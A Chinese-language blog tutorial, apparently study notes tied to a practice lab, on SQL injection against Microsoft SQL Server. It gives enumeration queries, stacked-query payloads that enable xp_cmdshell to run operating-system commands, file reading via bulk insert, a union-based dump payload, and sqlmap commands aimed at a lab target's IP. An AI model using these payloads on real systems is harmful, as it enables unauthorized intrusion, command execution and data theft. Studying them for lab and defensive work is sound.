前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >复习 - MSSQL注入

复习 - MSSQL注入

作者头像
Naraku
发布2021-07-29 11:06:16
2K0
发布2021-07-29 11:06:16
举报
文章被收录于专栏:Naraku的专栏Naraku的专栏

MSSQL

  • MSSQL和MySQL注入类似,但在数据结构特定函数名称上存在差异。且MSSQL与Windows平台的高契合度,使其可以使用Windows身份验证,导致其运行权限较高,若没有对权限进行限制,当存在SQL注入时,所造成的后果一般比MySQL更严重。
  • 靶场地址:墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)

信息收集

代码语言:javascript
复制
-- 查询版本
select @@VERSION
select * from Users where id='1' and @@VERSION like '%14%'; 

-- 数据库名
select DB_NAME()  -- 当前数据库
select DB_NAME(N) -- 这里的N指的是第几个数据库,如DB_NAME(1)

-- 判断权限
select user
select system_user
select suser_sname()
select is_srvrolemember('public')
select is_srvrolemember('sysadmin')
select @@SERVERNAME

Sysobjects

  • MSSQL记录敏感信息的表保存在sysobjects表中。该表是一个系统视图,用于存放该数据库内创建的所有对象,如约束、默认值、日志、规则等,而XType代表对象的类型

类型简称

含义

U

用户定义的表

V

视图

P

存储过程

X

扩展存储过程

limit和top

  • limit语法是MySQL自带的一个特性,而在MSSQL中并没有这个特性。如果要在MSSQL中实现相似的功能,可以使用top
代码语言:javascript
复制
-- 查询前1条数据
select top 1 name from master..sysdatabases

-- 查询前2条数据
select top 2 name from master..sysdatabases

-- 查询第3条数据
-- 这里使用嵌套语法,查询第1条不存在于前2条的数据,即查询第3条数据。也就是先排除前2条数据再查询第1条,即原来表中的第3条
select top 1 name from master..sysdatabases where name not in (select top 2 name from master..sysdatabases)

爆表

  • xtype='U'代表是用户定义的表
  • 库名..sysobjects库名.dbo.sysobjects的简写
代码语言:javascript
复制
select name from master..sysobjects where xtype='U'
select top 1 name from 库名..sysobjects where xtype='u'
select top 1 name from 库名..sysobjects where name not in (select top 1 name from master..sysobjects)

-- 也可以使用类似MySQL的语法,但此处的information_schema不是一个表,而是一个视图
select top 1 table_name from information_schema.tables

select top 1 table_name from information_schema.tables where table_name not in (select top 1 table_name from information_schema.tables)

爆列

  • object(name):数据库中每个对象都有一个唯一的id值,object_id()可以根据表对象名称得到表对象的ID,且只能返回用户创建的对象的ID,返回不了系统表的ID
  • col_name(id):根据ID值得到对象名称,而且可以返回指定下标的结果.
代码语言:javascript
复制
select col_name(object_id('表名'),1) from sysobjects

select top 1 col_name(object_id('表名'),1) from sysobjects
select top 1 col_name(object_id('表名'),2) from sysobjects
select top 1 col_name(object_id('表名'),3) from sysobjects

-- 同样也可以使用类似MySQL的语法
select top 1 column_name from information_schema.columns where table_name='表名'

爆值

代码语言:javascript
复制
select 列名 from 表名

select 列名 from 表名 where username='列名'
select 列名 from 表名 where username in ('列名')

进阶

  • 多语句注入:即在原SQL语句后拼接分号;进行闭合原语句,之后再拼接其它类型的SQL语句。
代码语言:txt
复制
- 使用多语句注入可不受注入点类型限制,而MSSQL默认支持多语句注入
代码语言:javascript
复制
1'; exec xp_cmdshell 'whoami > c:\temp.txt' -- 
  • 判断站库分离
代码语言:txt
复制
- `Servername`服务名,位于Web端
- `Host_name`数据库系统名,位于数据库端
代码语言:javascript
复制
 -- 若正常回显则站库不分离,反之分离
1' and ((select host_name()) = (select @@SERVERNAME))
  • 判断XP_CMDSHELL是否开启
代码语言:txt
复制
- 存储过程中的`XP_CMDSHELL`可执行系统命令,是后续提权的主要方式,从`MSSQL2005`版本之后默认关闭
代码语言:javascript
复制
-- 若正常回显则开启,反之不开启
1' and (select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshel') -- 

-- 若不开启,可以在Web端通过多语句注入进行开启
1'; 
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE; -- 
  • 写入文件
代码语言:txt
复制
- 通过`xp_cmdshell`执行系统命令写入文件
代码语言:javascript
复制
exec xp_cmdshell 'whoami > C:/temp.txt'
  • 读取文件:创建临时表,将文件写入该表,然后查询,最后删除
代码语言:javascript
复制
create table temp(res varchar(8000));
bulk insert master.dbo.temp from 'C:/temp.txt';
select * from master.dbo.temp
drop table temp;

工具

  • 这里使用文章开头的墨者学院 - SQL手工注入漏洞测试(Sql Server数据库)进行练习,这里主要使用工具进行注入。如果想查看手工注入的相关Write Up可以查看:墨者 - SQL注入
  • 点击登录框下方的通知,进入通知页面。
  • 打开SQLMap,使用以下命令验证注入。此处为GET方式,如果是POST,可使用Burp抓包并保存数据包,然后使用参数-r 数据包来进行验证
代码语言:javascript
复制
 $ python sqlmap.py -u "http://219.153.49.228:48588/new_list.asp?id=2"
  • 获取当前数据库:mozhe_db_v2
代码语言:javascript
复制
$ python sqlmap.py -u "http://219.153.49.228:48588/new_list.asp?id=2" --current-db
  • 获取数据表:announcement,manage
代码语言:javascript
复制
$ python sqlmap.py -u "http://219.153.49.228:48588/new_list.asp?id=2" -D mozhe_db_v2 --tables
  • 获取manage中的字段:id,username,password
代码语言:javascript
复制
$ python sqlmap.py -u "http://219.153.49.228:48588/new_list.asp?id=2" -D mozhe_db_v2 -T manage --columns
  • 获取值,不知道为什么到了这一步获取到username,password的值都是NULL,还是得手工注入
代码语言:javascript
复制
?id=-2 union all select top 1 1,username,password,4 from manage

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020 年 04 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • MSSQL
    • 信息收集
      • Sysobjects
        • limit和top
          • 爆表
            • 爆列
              • 爆值
                • 进阶
                  • 工具
                  相关产品与服务
                  数据库
                  云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档